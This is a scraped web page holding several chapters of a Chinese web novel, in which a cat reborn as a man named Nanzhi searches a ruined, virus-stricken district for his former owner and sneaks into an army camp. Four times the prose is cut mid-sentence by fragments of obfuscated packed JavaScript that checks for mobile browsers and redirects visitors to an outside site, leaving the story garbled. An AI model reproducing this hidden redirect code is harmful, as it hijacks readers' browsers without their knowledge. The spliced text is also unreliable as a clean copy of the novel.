只有感染者恶变者才会出现蓝血的症状,健康的人类和克服感染的人类,血液颜色都是正常的红色。 就像……南知。 被R病毒控制的人类,会在痛苦和折磨中失去意识。这个过程不算太快,甚至很漫长。恶变者本能的想要征服病毒,想要赶走控制他们身体的侵略者,他们开始下意识的去袭击正常人类,吸食正常人类的血液,想要通过换血的方法,减低血液中R病毒的浓度,祈求恢复成正常人类。 可惜,这不是什么正确的办法,反而会让R病毒通过血液传播,感染更多的人。 R病毒在三区突然大规模的爆发,战争中的幸存者多数感染上R病毒,那里已经变成了地狱。 “有能力逃走的人都逃走了。”开车的胖子叹息说:“留下的恐怕……” 南知眨眨眼睛,听着他们的叙述,脑袋里出现了一些模糊的画面,应该可以称之为“记忆”。当然,这些不是属于小猫的记忆,是属于这具身体的记忆。 “我是个……医生?”南知自问自答,摇摇头:“兽医。”点点头。 南知明白什么是兽医,就是穿着白大褂,把小猫绑在铁板上,差点将他当小母猫绝育的坏蛋。 第三特区除了可以包容人类之外,也允许宠物进入,自然就需要兽医这个职业。“南知”以前就是个兽医,在一家很小的诊所做助手。 至于另外三个人,他们曾经是南知的合租者,室友,只知道名字,具体职业不详,关系不算亲近,但见面也会打个招呼点点头。 三区战争爆发的时候,他们一起逃离了那里。随后不久,大家震惊的发现南知感染了R病毒。 “然后,”南知说:“你们把我丢下。” 话一出口,三个人的表情都很古怪。 胖子尴尬的说:“南知,你听我说,那个时候我们……” 那个时候,谁也没能想到,南知竟然可以克服R病毒。 这简直就是个奇迹,自从感染爆发开始到现在,成功克服R病毒的人,总共不超过20个。现在还活着的,甚至不超过5人。 南知打断了他的解释,看起来根本不在意这点小事,他有更重要更着急的事情。 南知说:“我要回三区,送我去三区。” 正在包扎伤口的黄千星立刻抬起头,说:“那里都是R病毒,太危险了!不能回去。” 正在开车的胖子李聪点头,说:“对啊,三区太危险了。” 高个子韩通皱了皱眉,问:“你要回去做什么?” “找人。”南知干脆的说。 黄千星着急的说:“找什么人?叫什么名字?” 李聪说:“对对,你说说,或许我们知道他的下落,说不定早就离开三区了。哦,是不是你们宠物诊所的那个老板?” 南知摇头,嘴唇张合两下,没说话。 黄千星说:“急死人了,到底叫什么名字,你倒是说啊。” 南知也很着急,说:“不知道叫什么名字。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414967|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?”连最沉稳的韩通也震惊了一瞬间,说:“你不知道他叫什么名字?” 南知点头。 小猫从来没有关注过铲屎官的人类名字叫什么。铲屎官只会每天“吱吱”、“吱吱”的呼唤他。 三个人表情古怪,韩通说:“有照片吗?” 南知摇头。 黄千星差点翻白眼,说:“那怎么找?” 李聪说:“要不先描述一下他长什么模样吧,有没有什么特征,还有是做什么工作的。” 南知点头:“男性。” “毛,黑色的。” 黄千星一愣:“毛?” 南知抬手摸了摸自己的头发:“很黑很黑。” 黄千星想要吐槽,不过被旁边的韩通制止了。 南知举起两只手,放在眼睛前面:“戴着眼镜,这样的,厚厚的。” 还有傻乎乎的刘海,小猫每次都忍不住想要伸爪去扒拉铲屎官的刘海。只是每次一伸爪,铲屎官必然准确无误抓住他的小爪子,又闻又亲,简直自投罗网。 “高高的。”南知指指韩通:“比你高。” “比韩哥还高?”李聪惊讶的说:“那得有一米九了吧。” 南知继续说:“说话,重复。” 少年皱眉,微微呲牙,说:“讨厌的人说他结巴。” 小猫其实不太了解结巴是什么意思,但小猫对于人类的情绪很敏锐。那些讨厌的两脚兽会在铲屎官的身后,小声偷笑,用嘲讽的语气说他是个结巴。 “结巴?”黄千星满脸迷茫:“三区有这个人吗?我怎么从没有听说过。” 三区规模不算大,比起其他特区来说是弱小的存在,否则也不会被掠夺被袭击。生活在三区的人类总共就那么些,大家谁也没注意其中有个结巴。 三个人沉默了一会儿,没说话,都是摇头。 南知有些失落,他们都没见过铲屎官。 失落归失落,这点小小的挫折无法打消小猫的希望。 南知坚定的说:“我要去三区找他。” “三区真的没有这个人。”黄千星说:“现在三区这么危险,你为了找他,连命都不要了吗?” 南知认真的盯着黄千星,点头。 一定要找到铲屎官。罐罐小球和阿贝贝已经都丢了,南知觉得,他不能将铲屎官再丢掉。 黄千星被噎了一下,又莫名身体一颤,沉默片刻说:“你们是什么关系,他是你很重要的人吗?” 谁没有对自己很重要的人呢,只是大多数已经在混乱和灾难中丢失了…… 南知很自然的说:“是我的两脚……”两脚兽。 重新措辞,说:“是我的人。” 黄千星多看了他一眼,挑了挑眉,果然是恋人,怪不得不要命的去找。只是他们从没听说,南知有个男性恋人。掩饰的可真好。 南知认真思考,又说:“是爸爸!” “爸……咳咳咳!”黄千星一脸呆滞,“爸爸?” 南知点头。 铲屎官总是夹着嗓子对他招手,每次都会说,吱吱,到爸爸这里来。 5. 第 5 章 “胖子,停车。”韩通抬手拍了拍前面驾驶位的椅背。 李聪谨慎的看了看四周环境,踩下刹车,道:“韩哥,怎么了?” 韩通说:“我看这里还算是安全的,停车休息一下,吃点东西。” “哦好的,韩哥。”李聪别有深意的点点头。 韩通和他的两名同伴瞬间交换了目光,看得出他们不只是想要休息一会儿这么简单。 南知对于人类的情绪波动非常敏感,看了他们一眼,扭过头去,继续研究怀中的纸箱,毫不在意。 韩通打开车门,说:“千星,给南知些吃的,我去后备箱取水。” 黄千星拿起旁边一个背包,说:“是啊,南知肯定饿了吧,这里有一些面包,给你,吃吧。” 胖子也跳下车去,说:“我帮韩哥一起拿水。” 黄千星递给南知一个面包。 南知侧头瞧过去,没接。 黄千星实在搞不懂南知是什么意思,犹豫了片刻,干脆又拿出一个面包说:“还有别的,可以换个口味。” 直到黄千星拿出第三个面包,南知才伸手去接。当然并非挑选其一,而是全部拿走。 “你……”黄千星恶声恶气说:“你能吃掉三个面包吗?” 南知诚实摇头,说:“吃不了。但我要挑最好吃的。” 黄千星:“……”他脸有点发青。 “算了。”黄千星嘟囔一声,也跳下车去:“我也去拿水。” 三个人将南知单独留在车上,韩通打开后备箱,一眼就能看到罐装的干净水,但他没有立刻伸手拿。 胖子走过来,小声说:“韩哥,南知怎么变得这么古怪?” 黄千星也走过来,说:“真的很怪,像变了个人一样。” “是啊。”李聪说:“他还铁了心要回三区,那里也太危险了,我们难道真的要送他回三区吗?” 韩通一阵沉默:“他很可能克服了R病毒。” 一句话,让剩下两个人哑口无言。 黄千星喃喃的说:“他居然克服了恶变,这太不可思议了。” 李聪点头:“当初是我们亲眼看着他被感染的,他的血流出来变成了蓝色,可现在……他的血又恢复了红色,绝对是克服了。” 黄千星说:“能克服恶变,还能活着的人类,恐怕五根手指头都能数的过来。” 李聪眼珠子乱转,压低声音:“如果我们把他送到随便一家实验机构,都能卖个天价!” “你疯了吗?”黄千星诧异的看着他。 李聪说:“有了钱,我们就能进入九区定居了,我们就安全了。” “那你也要确保,自己可以活着进入九区。”韩通说话了:“把他卖给实验室,不如将他留在我们身边。只要跟南知在一块,我们就能活命,就不用惧怕恶变。” 李聪不说话了,看来有点舍不得钱。 黄千星说:“韩哥你拿主意吧,我听你的。” 韩通沉吟:“我决定了,我们送他去三区。” 李聪着急:“这很危险。” “放心吧。”韩通说:“三区什么都没了,已经是一片废墟,他找不到他要找的人的,我们送他到三区周围看看,就带着他离开,不会很危险。” 黄千星点头:“我听韩哥的。” 李聪犹豫着:“那好吧。” “这些坏蛋。”正在小口吃面包的南知重重的哼了一声鼻子。 小猫的听觉灵敏,那些人以为车门关上了,南知就听不到他们在说什么,只可惜每个字南知都听得清清楚楚。 南知用尖尖的虎牙摩擦着面包:“他们要卖了我。” 小猫在遇到铲屎官之前,曾经也遇到过一些想要带他“回家”的两脚兽。不过那些两脚兽只是看他漂亮,想要捉回去卖个好价钱。 就和那三个坏蛋一模一样。 按照惯例,碰到这样的坏蛋,小猫早就飞机耳快快躲开,离开之前顺便呲牙挠一把。 不过…… 南知心想,他们说要送我去三区,那就到了三区再甩开他们好了。 等三个人拿着水回到车上的时候,南知看都没看他们一眼,继续高冷吃面包。 黄千星把水递过去,震惊的说:“你把面包都打开了,怎么每个咬了一口,就丢在这里?” 南知扫了一眼打开的面包,说:“不打开咬一口,我怎么知道好不好吃,我要吃最好吃的。” “爸爸说,”南知补充说:“吱吱只吃爱吃的和最好吃的。” 黄千星深吸一口气,差点翻着白眼被气厥过去。 他谴责说:“你这样很浪费!” “为什么?”南知指着那些带着小牙印的面包,说:“你们可以吃掉它们,就不浪费了。” 黄千星:“……” “算了算了,”李聪赶紧打圆场:“别吵了,喝水喝水。” 南知吃了一个面包,喝了点水,开始自顾自的玩纸箱和玻璃小瓶。 其他人也稍做休息,开始吃剩下的面包。 “咕噜——” “咕噜噜——” “咕——” 奇怪的声音若有似无,是南知正在晃动玻璃小瓶。 瓶子里透明的液体流转着,瓶子里鲜活的眼珠滚动着。 “呕——”黄千星差点被恶心吐了,捂着嘴巴抗议说:“你非要玩这么恶心的东西吗?” 南知举着小瓶子,注视着里面的眼珠,说:“他的眼睛很漂亮,一点也不恶心。” 是一只琥珀色的眼球,眼白发蓝,一点也不会浑浊,就像铲屎官的眼睛一样干净,南知很喜欢。尤其小猫喜欢圆的东西,小猫喜欢小球。 黄千星听得有点毛骨悚然,总觉得南知真的很不正常。 南知问:“这些眼珠是做什么用的?为什么泡在水里?” 小猫的好奇心被勾起。 李聪一脸震惊的看着他,黄千星也是如此。 韩通是最淡定的一个,默默吃着面包。 黄千星说:“你从我们手上抢走这些货物,你不知道干什么用的?” 南知觉得莫名其妙,说:“我要的是纸箱。”不包括里面的瓶子。 这次连韩通都是一脸震惊,根本无法掩饰。 韩通恢复了一下,淡定的说:“这些是恶变者的眼球,被拆解后,统一处理过,然后装起来准备卖给各个实验机构。” 南知听得满头雾水,他不理解。 黄千星已经吃不下了,抹了抹嘴巴:“感染者会被集中燃烧,至于一些燃烧了也没有用的眼球、脑子或者肠子这些,都会被拆解下来,卖给实验室换钱。” 南知还是很迷茫。 韩通随手拿起一只小瓶子,转过来,瓶底贴着纸条:“九区运送的这批小瓶日期都是新鲜的,是刚死没多久的恶变者。” 李聪点头:“是三天前的日期。” 黄千星冷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414968|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“这么大批量的新鲜眼球,还经过红沙冢运输,说不定这些眼球就是从咱们三区的人身上拆解下来的。” 李聪叹了口气。 黄千星握紧拳头,继续说:“他们对三区发动的战争太突然了,而且怎么就这么巧合,又突然爆发了大规模的病毒感染?我怀疑那些病毒是有人故意趁乱散播的。绝对是九区和八区那些混蛋干的,他们什么事情都干的出来!他们就是想让我们这些幸存者感染!肯定是他们的燃料不够了,想要把我们都变成恶变者,然后拿去焚烧!拿去肢解!” 听不懂…… 南知摇头,忽略了黄千星的义愤填膺,目光已经被车外的壮观景象吸引。 他打开车窗,探头出去,指着天空,惊讶的说:“哇,两个太阳!” 外面真的很热,车窗打开,一股足以让人窒息的热浪压迫而来。太阳很毒辣,居然有两轮太阳挂在天上,一西一东。 在小猫去世之前,他已经有很长一段时间没见过太阳。铲屎官说太阳陨落了,再也不会出现温暖的太阳。 南知很好奇,回头问:“为什么会有两个太阳?” 他一回头,就对上三双震惊的目光。显然是南知这个问题震撼到了他们。 “你还真是失忆了。”黄千星说。 李聪说:“你连这个都不记得了?” 韩通说:“都是人工太阳,每个区都会自制人工太阳。” 人工太阳,又大又亮,就悬挂在人们的头顶上,距离很近很近。它看起来和以前的太阳没什么太大区别,却有着本质的不同。 人工太阳能覆盖的地方不算广泛,为了取暖为了氧气,为了不让病毒肆意横行,几乎每个特区都自制了人工太阳。 如此一来,难免就会出现太阳覆盖范围重合的地方,就像这片红沙冢,是三区和九区人工太阳重合的地方,被两个太阳炙烤,炎热度爆表,很少有生物能忍耐这样的酷刑。 人工太阳需要燃料才能发光发热,就像灯泡需要电一样自然。人工太阳需要的燃料就是感染R病毒后的恶变者的蓝血和骨肉。 “通过这片沙冢之后,不远就是三区了。”李聪指着前面说。 韩通叮嘱:“开慢点,谨慎点。” “我知道。”李聪点头。 通过两个太阳的覆盖范围,气温渐渐恢复正常,甚至有些寒冷。 三区已经是一片废墟,三区的人工太阳缺少燃料,正在渐渐熄灭。 天空灰蒙蒙的,像冬季的傍晚,寒冷中带着一丝丝的压抑。南知望着窗外的破败和狼藉,一瞬间仿佛回到了过去,仿佛回到他还是一只小猫,一只奄奄一息,就要死掉的小猫的时候。 那个时候,他飞快的窜出家门,身后是铲屎官大声的呼唤。 ——吱吱! ——吱吱回来! 他根本不敢回头,也不敢回应,只怕会克制不住,翘着尾巴跑回去,重新撞进铲屎官结实的怀中。 “就在前面。”韩通的声音略带沙哑。 车子停下,停在一个不起眼的破墙后。 南知看不太清楚,前面黑压压的,应该是有一座城市。似乎还有很多人在移动,不停的走来走去。 黄千星紧张的压低声音:“糟糕,是九区的那些士兵!” 残垣断戟一般的城市,被层层的士兵包围着,不停的有巡逻者经过。那些根本不是三区自己的士兵,他们穿着统一的军装,胳膊上别着统一的纹章。 6. 第 6 章 车子停在隐蔽的地方,四个人下车。 李聪压低声音:“三区被包围了,别靠的太近,他们看起来很警觉。” 黄千星皱眉说:“他们是什么人?” 下一秒,他自问自答:“好像是九区保卫团的人?” 韩通点头。 “那个人是不是九区保卫团的上校?”黄千星指着前面。 距离有点远,以南知的视力来说,只能分辨出是个人类走过去了,几乎无法区分男女,五官更是一团模糊。 黄千星说:“我之前见过他,胖子,你不是说你会读唇语吗?你快听听,这个人在说些什么。” 李聪说:“别着急,让我瞧瞧。” 那位上校先生很年轻,看起来也就二十出头的样子,正在和身边两个警卫说话。 李聪沉吟了一会儿,为难的抓抓脑门:“天太黑了,我什么也看不见啊,猜不出他们在说什么。” 背后一道清澈的少年音接口:“他说都打起精神,赵听寒将军亲自前来,加强守卫,城门不许任何人进出。” “什么?”李聪吓了一跳,差点喊出声:“赵听寒来了?他来了三区?!” “不对,等等。”黄千星瞪着刚刚接话的南知,说:“你也会唇语?” 小猫看不懂唇语,只是单纯听力不错。 南知无视了黄千星的提问:“赵听寒是谁?” 李聪听到这个名字就打了个寒颤,他能敏锐的感觉到,旁边三个人的态度在转变,有恐惧的气息弥漫在空气里。 韩通沉声说:“是个棘手的人。” “还能是谁,”黄千星说:“九区的最高指挥官,最心狠手辣又不择手段的家伙。” 李聪小声说:“说不定真的叫千星猜对了,那些人敢明目张胆的偷袭咱们三区,就是有九区在背后撑腰!是九区赵听寒的授意!” 黄千星愤恨的说:“现在九区的士兵已经包围了这里,这不是显而易见的事情吗?” 韩通叹了口气,说:“现在这个世界,弱肉强食,再正常不过的事情了……” 黄千星攥拳:“三区已经一片废墟,他们还包围这里做什么?” 韩通说:“九区距离这里不算远,应该是怕三区的恶变者会将病毒传播到九区吧。” “我听说……”李聪神神秘秘的说:“九区的总部实验室一直在做保密实验,需要大量的实验体和实验空间,他们是不是想把三区变成一个庞大的试验区?” 黄千星说:“他们……咦?” 话说一半,黄千星震惊的睁大眼睛,左右晃着脑袋。 李聪问:“怎么了?” 黄千星说:“纸箱呢?” “什么?”李聪挠头。 “不对。”黄千星差点给自己一巴掌,改口说:“我是说,南知人呢!怎么不见了?” 南知从上车开始就抱着那只破纸箱,刚才下车也还抱着。所以黄千星一个不甚,就说错了话。 韩通立刻回头,纸箱和少年果然都不见了。 “他去哪了?” “不知道啊,我没注意。” “不见了……” 就在三个人将注意力集中在九区士兵身上的时候,南知已经悄悄的,抱着纸箱独自离开。 已经到了三区城门口,机智的小猫当然要甩掉那三个坏蛋。而且…… 就在刚才,南知吸了吸鼻子,又用力吸了吸鼻子。他闻到了熟悉的味道! “是铲屎的!” 少年抱着纸箱没入黑暗之中,顺着气味往前寻找。 绝对不会闻错,是他的铲屎官的味道。 “就是这个味道。”南知连连点头,暖暖的,又清新又沉稳,总是吸引着小猫,想要走过去用脑袋蹭蹭。 少年怀抱纸箱,一路闻一路找,很快就看到前方一片奇怪的建筑。 “像是……”南知调动脑袋里多出的人类记忆和常识,像模像样点头说:“像是临时搭建的营地。” 很大的一片营地,门口守卫森严,有两排士兵站岗,出入都需要查看证件。 不能从大门进,南知围着营地绕了半圈,找到没人的地方准备翻墙。 营地院墙上安装了高压电装置,就是为了防止别有用心之人翻越。可惜,南知不是别有用心之人,而是一只动作灵巧的小猫。 他先仰头看看高墙,然后一扬手,将随身携带的大纸箱顺着院墙扔了进去。 咚! 里面发出一声闷响,幸好纸箱是空的,动静不算大。 接下来就是南知自己了。 少年根本不需要助跑,也不需要任何助力,甚至没有用手去扶住墙壁,整个人身体轻巧的往上一窜,毫无悬念跳过高墙,根本没有触发警报。 南知重新抱起他珍贵的纸箱,耸动着小鼻头往前走去,嘴里喃喃的说着:“就是这个味道,已经很近了……” “在前面!” “没错,好香!” “好香好香~就是这个味道,我要流口水了。” “烤……烤鱼……哇,是烤鱼的味道~” “好饿……” 走着走着,南知被突如其来的香气吸引了注意力,两眼闪烁着比人工太阳还要炙热的光芒,舔舔嘴唇,拐了个弯。 好久没吃到烤鱼了。 这个烤鱼的味道和铲屎官做的一模一样。 吱吱最爱吃烤鱼了。 每次铲屎官都会精心的帮小猫挑干净所有的鱼刺。 南知感觉腮帮子酸酸的,差点就要流口水。 自从重新睁开眼睛,他只吃过一个干巴巴的面包,没有罐罐没有冻干,也没有猫条,烤鱼的味道对他来说简直就是致命的吸引。 “谁在哪里!” 一道高声呵斥突然响起,吓得南知差点原地窜起三米高。 “是谁!” 有士兵在巡逻中发现了一抹鬼鬼祟祟的黑影,立刻举着武器冲过来。 “发生什么了?” 他的喊声引来了更多的士兵,一位身材高挑的军官排开众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414969|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走上前,说:“怎么了?有人胆子这么大,闯入我们九区的军营?” “周一上校!” 巡逻士兵行礼,有点支吾,说:“您看。” 那位周一上校问:“看什么?谁把一个空纸箱扔在这里?” 巡逻士兵回答说:“不知道。” 鬼鬼祟祟的人影转瞬消失,只是在这里多了一口纸箱,还是空纸箱。 周一上校好奇的上前检查空箱子,震惊的说:“这不是我们九区丢失的那批货物吗?” 箱子破破烂烂,但上面的印章清晰可见,盖着九区的标志。 周一叉腰,自言自语说:“有人抢走了我们的货物,还胆敢将空箱子扔回来,这是在示威啊?” 士兵们一听,又是气愤又是毛骨悚然。 那个人是谁,军营守卫森严,对方无声无息的闯入,谁也没有看到他的面容。 周一上校拎起空箱子,说:“今夜要加强守卫,这件事情我会去报告给将军的。” “是!”士兵们回答。 安排好巡逻工作,周一上校拎着纸箱一路往前走,来到一处临时帐篷门口,抬手敲门。 “进。” 里面传来一道简短严肃的回答。 周一打开门,将箱子带进去,说:“将军,打扰您了,有情况需要向您汇报。” 这间临时的营帐很大,里面的摆设却很简单,一位看起来二十几岁的年轻军官坐在桌前,没有抬头。 是九区最高的指挥官,赵听寒将军。 周一关上门,神神秘秘的说:“老赵,发生邪乎的事情了,你看啊。” 赵听寒将军从桌子后面长身站起,比周一上校高出不少,目测超过一米九的身高,穿着笔挺的军装,不论是宽肩还是长腿,都给人一种十足的压迫感。 他一丝不苟的军装腰间,佩戴着一只跳了线、打了补丁的鲷鱼玩具小挂件。格格不入,十分扎眼。 “物资箱,空了。”赵听寒将军扫了一眼,说。 周一连连点头,说:“对!有人刚刚潜入军营,丢下的!绝对是挑衅啊!你说是什么人干的?是不是八区那些小王八背后搞鬼?” “也不对。”周一摇摇头:“八区那些货色普普通通,暗地里搞点小手段小心机还行,他们有谁能神不知鬼不觉潜入这里?难道是五区?也不对啊。难道是……” 赵听寒将军抬手,打断了他毫无根据的猜测,走过去拿起桌上的控制器,按了几下。 周一上校立刻跟上,着急的探头说:“给我也看看。” 是无人机监控设备拍摄到的军营画面,这里有十几台无人机二十四小时监控,就是为了防止突发情况。 很快的,画面中出现了纸箱。 “对对,就是这个箱子!”周一立刻指着说。 纸箱之后,一位身材纤细的少年跃墙而入。 周一吃惊的说:“身手不错啊,这是谁?只有他一个人?” 赵听寒声音是一成不变的平静,说:“抓住他。” 7. 第 7 章 “是!” 周一上校点上一队警卫团,立刻按照监控所示去围捕潜入军营的陌生少年。 “上校,就在前面!” “他往南面逃了。” “就在前面。” 周一快步往前走,突然说:“怎么停下了?” 警卫们面露为难,说:“上校,这……目标消失了。” “什么?”周一上校一愣,抢过监控器查看,喃喃自语说:“消失了?真的消失了?这怎么可能呢。” 军营的守卫极为森严,无人机监控一直盘旋在各个角落,几乎没有任何死角。就在这种情况下,视频里身材纤细的少年毫无预兆的无影无踪。 “他的动作太快了……”周一上校表情严肃很多:“到底是什么人?” 视频仿佛跳了帧,少年在一眨眼的时间消失,不知去向。 “报告!上校!” 就在这个时候,有士兵快步跑来:“上校,有情况!” “又怎么了?”周一揉揉额角,感觉今天运气很差,干什么都不顺。 士兵说:“有人入侵了食堂和后厨。” “你说什么?食……”食堂?还有厨房? 上校先生皱眉说:“谁?下毒?是不是那个身材瘦弱的少年?” 士兵摇头,沉默。他们只发现了狼藉的食堂和厨房,根本没发现作案之人是谁。 周一带着警卫团来到出事的食堂,走进去稍微松了口气,没有想象中的混乱和狼藉,几乎看不出有人入侵。 “上校,您来了。”食堂负责人着急的说:“这些都是士兵们的晚餐,我们按时准备好,本来马上就要分发下去,谁想到……” 突然有人趁着他们不注意,潜入了厨房,然后悄悄掀开了每盘菜的盖子。 “只是掀开了盖子?”周一问。 负责人点头:“看着像是这样。” 只是掀开了盖子,没有被吃过的痕迹,也没有下了毒的痕迹。但这都说不准,已经有化验室的人来取样,但结果需要一定时间。 周一有些摸不着头脑。 负责人支吾了几声,终于说:“还有……” “还有什么,痛快点。”周一上校说。 负责人说:“士兵们的餐食只是被打开了盖子,但是为将军准备的晚餐……被偷吃光了。” “什么?”周一大喊了一声,下巴差点掉在地上。 一小时后,潜入军营的少年还是没有抓住,周一看了看时间,硬着头皮回去报告。 叩叩! “进。” 听到将军的允许,周一上校谨慎推门,走进去,小声的咳嗽一声,嗖了嗖嗓子。 “没抓到?” 赵听寒将军正在翻着一份文件,只说了三个字。 周一挠了挠脸颊,尴尬的说:“还没抓到那个人。不过!我们有其他的发现。” “说说看。”赵听寒将军抬起头。 周一立刻将一段监控视频拿过去,说:“抓到了其他的小蚂蚁。我调取了营地附近的监控,发现这个少年并不是单独一人,其实还有同伙。他是坐着一辆改装吉普来到附近的,和他同行还有三人。” 上校先生说的,当然就是韩通、李聪和黄千星三个人。 他们忽然失去了南知的踪迹,非常着急,在附近小心谨慎的寻找着。 周一继续说:“这三个人看起来像老油条了,很滑头。不过我已经将他们三个都抓了起来,关进了审讯室。” 赵听寒将军按下暂停键,监控画面停止。一辆大吉普停在隐蔽的断墙后,车上下来四位年轻人,其中一人恐怕还不足二十岁,精致的五官被拍摄的相当清楚,甚至能看到他眼中清澈的光芒。 少年身材纤细,双手抱着一个很大的纸箱。 赵听寒平静的说:“你去审讯他们。” “好,我现在就去!”周一点头:“你就等我的好消息吧,半小时之后,我肯定让他们把同伙给交代出来。” 临走之前,周一犹豫了一下,折返回来说:“那个老赵啊,你的晚餐还要再等十来分钟。咳!” 赵听寒将军皱眉,看了一眼墙上挂着的时钟,早已过了晚餐时间。 周一干笑:“被偷吃了……” 他没说谁干的,不过有这么大胆子的人,且这么无聊的人,以前根本就没有出现过。 赵听寒将军面无表情,平静的站起,说:“我亲自去审讯。” “哦。”周一缩了缩脖子,点点头。 …… 南知溜进军营,因为烤鱼的香气,忍不住开了个小差,结果就将宝贝纸箱弄丢了。 “我的纸箱……” 少年垂着头,那可是他要送给铲屎官的礼物啊,居然弄丢了,根本不记得什么时候松的手,也不记得落在了什么地方。 南知决定回去找,在回去的路上,又闻到了那股香喷喷的烤鱼味,流着口水推开一扇门。 是食堂! 热腾腾的饭菜,种类很多,而且菜量极大! 少年忍不住舔舔嘴唇,将找纸箱的事情忘在了脑后,决定先饱餐一顿。这些都比干巴巴的面包要好吃许多! 南知大摇大摆进了食堂,挑挑拣拣,把每一道菜的盖子全部打开,闻了一遍之后,选定了其中一份最精美的套餐。 烤鱼,吃一点。 小猫点头,就是这个味道。如果有人能提前帮他挑干净鱼刺就完美了。 大虾,吃一点。 小猫点头,剥了壳的大虾,吃起来就是满足,清爽又弹牙。 青菜,吃不了一点。 小猫摇头,绿绿的丑丑的,不好吃。 饱餐一顿,少年用纸巾优雅的擦了擦因为进食变得略显丰满的嘴唇,叹息着:“好饱啊。” 糟糕,差点忘记纸箱。 南知离开食堂,很着急的继续去寻找他的宝贝纸箱。 “刚才好像……好像走到这里的时候就没了。”少年迷茫的眨眼,记不太清楚。 他用力吸吸鼻子,想要分辨出纸箱的味道。 军营里的各种气味混合在一起,干扰实在是太多了,南知摇摇头,不在左边也不在右边,不是这个味道。 “等等……” 少年睁大眼睛,他闻到了比纸箱更熟悉的气味,熟悉到足以让每一根汗毛都束起。 是铲屎官的味道! 就在前面,很近! 南知打消了寻找纸箱的想法,朝着前面飞奔而去,绝对是这个味道。他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414970|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里! 少年动作轻盈灵动,就像一只猫,轻而易举避开巡逻士兵们的检查,踮着脚尖来到一扇大门的面前。 “在里面。”南知趴在门上用力闻,就是这个房间。 房门关闭着,上了锁。是密码锁。 “这个我会。” 南知自信的点点头,他以前经常看到铲屎官在门上按这些数字,只要按对了就可以打开门。 白皙的手指抬起,毫不犹豫的在密码锁上戳了四下。 “0……4……2……7!” 4月27日,这是小猫被铲屎官抱回家的日子,是小猫的生日,是个特别的日子。 “嘀——” 密码锁闪烁着绿色的光,房门应声打开。 南知欣喜:“太容易了。” 他走进去,房间内熟悉的气息更加浓郁,就像一双温柔又有力的双臂,将少年紧紧拥抱在怀中。 揉揉眼睛,小猫搞不懂为什么会突然眼睛发酸发热。 “这是铲屎官的新家吗?”南知眨着大眼睛,在摆设简洁的屋内快速绕了一圈,巡视领地一般,背着手闻了一遍。 终于,少年满意的点头,自言自语说:“很好,没有别的猫的味道。” 南知想,他没有背着我去养其他猫。 整个屋内都充斥着小猫熟悉的味道,墙壁上、书桌上、椅子上、甚至是枕头上。 好想蹭蹭…… 小猫从不懂得什么叫忍耐。少年笑着展开双臂,整个身体飞扑出去,将自己扔在了柔软的大床上,抱住整齐的被子和枕头,团在怀中一通乱蹭。 “好软好软……” 南知开心的说:“都要蹭上我的味道,都要蹭蹭。” 几秒钟的时间,一丝不苟的大床已经一团糟,但南知喜欢这样。 他满意的双手抱着枕头,将脸埋在里面深吸气,没错没错,现在两股气息已经融合在一起。 “这是……” 枕头下面压着东西,南知伸手捡起。 一只破破烂烂的皮夹钱包,黑色,看起来很土,小猫认得,是铲屎官以前用过的。 打开钱包,里面没有一分钱,只插着一张照片。 南知的眼睛又开始热乎乎的,甚至越发的滚烫,他小巧的鼻尖轻轻颤了一下。 老旧的照片有些褪色,一位大学生打扮的年轻人怀里抱着只白色的小猫。小猫一脸嫌弃,正用爪子抵在年轻人的下巴上,浑身写着抗拒两个字。 这厚厚的刘海,大大的眼镜,是小猫熟悉的铲屎官。 南知捧着照片,脸颊贴上去也蹭了蹭。 他没有找错,这里就是铲屎官的房间。现在只要留在屋里稍微等待,铲屎官很快就会出现在他的面前! 踏、踏、踏…… 是脚步声。 南知感觉自己的手臂上浮起一阵细细密密的小疙瘩,双目死死盯着门口。 有人来了。 就像多年前的那个雨棚,记忆中的情景重新展现在面前。 下一刻,房门无声无息打开。 身材高大,穿着笔挺军装的男人站在门口。 